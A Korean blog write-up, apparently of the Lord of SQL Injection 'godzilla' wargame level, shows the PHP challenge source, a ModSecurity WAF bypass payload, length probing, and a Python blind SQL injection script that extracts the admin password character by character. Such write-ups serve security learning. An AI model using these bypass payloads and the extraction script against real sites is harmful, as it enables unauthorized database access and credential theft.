[LOS] godzilla

Yennytime·2023년 1월 20일
0

Lord of SQL Injection

목록 보기
15/20
post-thumbnail

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

🔹 $_GET[id], $_GET[pw] 파라미터 필터링

prob, _, ., (), /i (대소문자를 구분하지 않음)


2.

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");

addslashes(string str)

매개변수로 넘겨준 문자열 안에 작은 따옴표('), 큰 따옴표("), 백슬래시(\), NULL가 포함되어 있다면 해당 문자 앞에 백슬래시(\)추가 해주는 함수


🔺 풀이 과정

  1. pw=1' or '1'='1

방화벽에서 막힌 것 같다.

  1. pw=1 or '1' = '1'-- -

어?

ModSecurity를 사용하고 있는 것을 우연히 발견했다.

  1. id=-1'<@=1 OR {a 1}=1 OR '

modesc bypass를 통해 "Hello admin까지 출력했다.

참고로 {a 1}=1의 의미는 1=1 이다. 이걸 1대신 length(pw)으로 적용해보겠다.

  1. id=-1'<@=1 OR {a length(pw)}={1~a} OR '
  • id=-1'<@=1 OR {a length(pw)}=5 OR '

  • id=-1'<@=1 OR {a length(pw)}=8 OR '

일단 5, 8이 pw에 들어간다는 걸 확인했으니, 노가다 할 시간에 코드를 사용해보겠다.

  1. SQL Injection

위에 찾은 구문은 코드짤 때 조금 복잡해서
(2시간 헤맸다. 나란 파이썬 응애는 아직 코드짤 때 시간이 너무 오래 걸린다..)
pw=-1'<@=1 OR id='admin'%23 을 사용해보고 Hello admin이 나와서 이 구문을 사용했다.

import requests
import string

url = "{공격 URL}"
cookie = {'PHPSESSID':'{URL 쿠키}'}
pw_len = 8 # pw의 길이가 8자리이니까!

print(f"💙 SQL을 시작합니다...")

def pw_char(pw_len):
    passwd = ""
    for i in range(1, pw_len+1):
        for j in string.printable:
            query = "?pw=-1'<@=1 OR id='admin' and ascii(substr(pw,{},1))={}%23".format(i,ord(j))
            print(query)
            res = requests.get(url=url+query, cookies=cookie)
            if "Hello admin" in res.text:
                print("💭 찾은 pw의 문자열 : " + j)
                passwd += j
                break
 
    print("⭐ pw를 찾았습니다! :" + passwd)

if __name__ == "__main__":

    pw_char(pw_len)

[코드참조]

  1. pw=a18a6cc5


혼자서 코드짜다가 엉엉 울 뻔 했다. 4시간동안 도저히 답이 안나와서 다른 블로그를 참고하면서 코드 분석도 했다.
그래도 이것 저것 혼자서 시도해보니 더 코드가 머릿속에 팍! 이해된 것 같아서 기분은 좋네..💙

profile
It's Yennytime💙

0개의 댓글